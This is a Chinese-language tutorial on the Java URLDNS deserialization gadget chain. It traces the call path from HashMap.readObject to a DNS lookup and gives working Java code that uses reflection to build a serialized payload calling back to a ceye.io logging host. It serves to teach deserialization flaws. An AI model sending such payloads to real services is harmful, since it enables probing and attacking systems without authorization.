目录
一、前言
二、原理分析
三、代码实现
一、前言
URLDNS链相较于其他java反序列化链是比较简单的,只需要几步调用就能触发
所以学习java反序列化,最好从URLDNS链出发,初步了解如何跟进,以及反射获取类、方法等
使用这条链可以传入一个URL,然后触发的结果就是进行一次DNS请求
为了方便通信,通常需要把数据序列化,通信完成后,再把数据反序列化,在这之中就会产生漏洞
在数据反序列化时,某些类会自动调用readObject()方法,执行里面的代码
调用链
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
二、原理分析
在反序列化时,readObject方法内的代码会自动执行,key=URL,跟进putVal函数
putVal方法调用hash()函数,再跟进hash函数
发现hash函数调用的是key.hashCode(),也就是URL.hashCode(),那么我们再跟进URL的hashCode函数
如果hashCode不等于-1,就返回原值,否则执行handler.hashCode,跟进这里的hashCode
走到getHostAddress函数中,跟进
又返回u.getHostAddress()方法,再跟进
就到了getByName,进行DNS请求
这样一套操作下来,就完成了DNS请求
三、代码实现
我们可以先写成这样看一下,按理说,我们还没有反序列化,readObject方法不会自动执行,DNS解析也就不会执行
注意:最好新建Maven项目,新建文件夹,把代码写到对应的文件夹下,不然有可能会报错
public class demo {
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
URL url = new URL("http://tixtwe.ceye.io");
hashmap.put(url,1);
serialize(hashmap);
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
但是确实是执行了,那为什么呢?
这是因为Hashmap的put方法也会调用putVal函数, 然后和上面我们分析的一样,会进行DNS解析
所以我们需要禁止掉put函数进行DNS解析,那怎样禁止呢?
通过这个if,我们可以让hashCode不等于-1,那就走到返回原值那里了,就不会往下执行了
但问题是怎么让它不等于-1,java.net.URL中规定了hashCode=-1,并且是个私有方法
这里我们可以使用反射,来修改hashCode的值
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://tixtwe.ceye.io");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
serialize(hashmap);
首先创建名为hashmap和url的两个实例,getClass()获取到URL这个类
然后getDeclaredField获取到URL类中的hashCode字段,设置可修改性为true
修改hashCode值为1234,最后调用put方法,这样修改了hashCode的值,DNS请求不会触发
问题解决以后,我们再说反序列化,修改代码如下
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
URL url = new URL("http://tixtwe.ceye.io");
Class c = Class.forName("java.net.URL");
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
unserialize("ser.bin");
}
值得注意的是,我们需要将原本的hashCode值给修改回来,不然到反序列化时,readObject函数也会调用putVal和hashCode
如果不等于-1,DNS请求就不会触发,只有修改回来,才能正常调用